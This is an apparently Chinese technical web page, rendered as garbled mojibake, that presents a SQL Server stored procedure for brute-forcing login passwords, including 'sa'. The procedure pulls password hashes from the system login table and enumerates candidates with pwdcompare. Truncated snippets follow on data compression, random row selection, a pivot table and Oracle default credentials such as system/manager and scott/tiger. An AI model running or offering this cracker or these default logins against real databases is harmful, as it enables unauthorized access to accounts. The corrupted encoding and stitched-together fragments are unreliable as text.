´æ´¢¹ý³ÌʵÀý:SQL Server SaÃÜÂëÆÆ½â
Ò»¸öSQL Server SaÃÜÂëÆÆ½âµÄ´æ´¢¹ý³Ì:
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_GetPassword]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[p_GetPassword]
GO
/*--Çî¾Ù·¨ÆÆ½â SQL Server Óû§ÃÜÂë
¿ÉÒÔÆÆ½âÖÐÎÄ,ÌØÊâ×Ö·û,×Ö·û+Î²Ëæ¿Õ¸ñµÄÃÜÂë
ΪÁË·½±ãÏÔÊ¾ÌØÊâ×Ö·ûµÄÃÜÂë,ÔÚÏÔʾ½á¹ûÖÐ,ÏÔʾÁË×é³ÉÃÜÂëµÄASCII
ÀíÂÛÉÏ¿ÉÒÔÆÆ½âÈÎÒâλÊýµÄÃÜÂë
Ìõ¼þÊÇÄãµÄµçÄÔÅäÖÃ×ã¹»,ʱ¼ä×ã¹»
/*--µ÷ÓÃʾÀý
exec p_GetPassword
--*/
create proc p_GetPassword
@username sysname=null, --Óû§Ãû,Èç¹û²»Ö¸¶¨,ÔòÁгöËùÓÐÓû§
@pwdlen int=2 --񻮮½âµÄÃÜÂëµÄλÊý,ĬÈÏÊÇ2λ¼°ÒÔϵÄ
as
set @pwdlen=case when isnull(@pwdlen,0)<1 then 1 else @pwdlen-1 end
select top 255 id=identity(int,0,1) into #t from syscolumns
alter table #t add constraint PK_#t primary key(id)
select name,password
,type=case when xstatus&2048=2048 then 1 else 0 end
,jm=case when password is null then 1 else 0 end
,pwdstr=cast('' as sysname)
,pwd=cast('' as varchar(8000))
into #pwd
from master.dbo.sysxlogins a
where srvid is null
and name=isnull(@username,name)
declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000)
declare @l int
select @l=0
,@s1='char(aa.id)'
,@s2='cast(aa.id as varchar)'
,@s3=',#t aa'
exec('
update pwd set jm=1,pwdstr='+@s1+'
,pwd='+@s2+'
from #pwd pwd'+@s3+'
where pwd.jm=0
and pwdcompare('+@s1+',pwd.password,pwd.type)=1
')
while exists(select 1 from #pwd where jm=0 and @l<@pwdlen)
begin
select @l=@l+1
,@s1=@s1+'+char('+char(@l/26+97)+char(@l%26+97)+'.id)'
,@s2=@s2+'+'',''+cast('+char(@l/26+97)+char(@l%26+97)+'.id as varchar)'
,@s3=@s3+',#t '+char(@l/26+97)+char(@l%26+97)
exec('
update pwd set jm=1,pwdstr='+@s1+'
,pwd='+@s2+'
from #pwd pwd'+@s3+'
where pwd.jm=0
and pwdcompare('+@s1+',pwd.password,pwd.type)=1
')
end
select Óû§Ãû=name,ÃÜÂë=pwdstr,ÃÜÂëASCII=pwd
from #pwd
go
Ïà¹ØÎĵµ£º
Ò»¡¢Êý¾Ý¿â°æ±¾
Êý¾ÝѹËõÔÚSql Server 2008ÉϲÅÖ§³Ö£¬2005²»ÐУ¬²¢ÇÒ»¹ÒªÊÇÆóÒµ°æ¡£ÎÒ³£³£ÍüÁËÕâÒ»µã£¬ÔÚ2005µÄStudioÉÏÄÖ³öÓï·¨´íÎóµÄ×´¿ö£¬ÕÛÌÚÀË·ÑÁ˺ÃÒ»Õó²ÅÐÑÎò¹ýÀ´¡£
¶þ¡¢Ñ¹Ëõ×´¿ö
´óÔ¼¿ÉÒÔ½ÚÊ¡20%-50%µÄ¿Õ¼ä£¬²¢ÇÒÐÐѹËõºÍҳѹËõÓÐËùÇø±ð¡£
µ«ÈÃÎÒʧÍûµÄÊÇ£¬Ïñº¬ÓÐVarchar(max),xmlÕâÖÖ×Ö¶ÎÀàÐ͵쬷´¶øËƺõѹ ......
ÕâÖÖÓ÷¨ÏàÐÅÔÚÍøÕ¾Öо³£Ê¹Óã¬ÈçÒªÔÚ±íÖÐËæ»úÈ¡³ö10Ìõ¼Ç¼£¬Èç¹ûʹÓñà³ÌÓïÑÔ½øÐÐÔËËãµÄ»°»áºÜÂé·³¶øÇÒЧÂʵÍÏ¡£ÔÚSql ServerÖÐ×Ô´øÁËrandom()º¯ÊýÓÃÓÚÉú³ÉËæ»úÊý£¬ÆäʵËü»¹×Ô´øÁËÁíÍâÒ»¸öËæ»úº¯Êýnewid();newid()ÔÚɨÃèÿÌõ¼Ç¼ʱ¶¼»áÉú³ÉÒ»¸öËæ»úµÄÖµ£º
Ö´ÐÐselect newid()£»ÔËÐнá¹û
¿ÉÒÔ¿´µ½Õâ²¢²»ÊÇÒ»¸öËæ»úµÄÊý× ......
ÐÐÁÐת»»
create table test(id int,name varchar(20),quarter int,profile int)
insert into test values(1,'a',1,1000)
insert into test values(1,'a',2,2000)
insert into test values(1,'a',3,4000)
insert into test values(1,'a',4,5000)
insert into test values(2,'b',1,3000)
insert into test values(2, ......
½øÈësql*plusÐèÒªÊäÈëÓû§Ãû¡¢¿ÚÁîºÍÖ÷»ú±êÖ¾·û
system/manager
sys/change_on_intall
scott/tiger
internal/oracle
ÒÔÉÏΪ³õʼÃÜÂë
Ö÷»ú×Ö·û´®¿Õ»òÕßÊÇ@+ÄãµÄ·þÎñÃû,ÔÚ±¾µØµÇ½²»ÐèÒª±¾µØ·þÎñÃû¡£
ÏÂÃæ¾Í½éÉÜÒ»ÏÂһЩ³£ÓõÄsql*plusÃüÁ
Ê×ÏȲ鿴µ±Ç°Ê¹ÓõÄÊý¾Ý¿âʵÀý:
select name from V$database;
Çл»Á½¸ö ......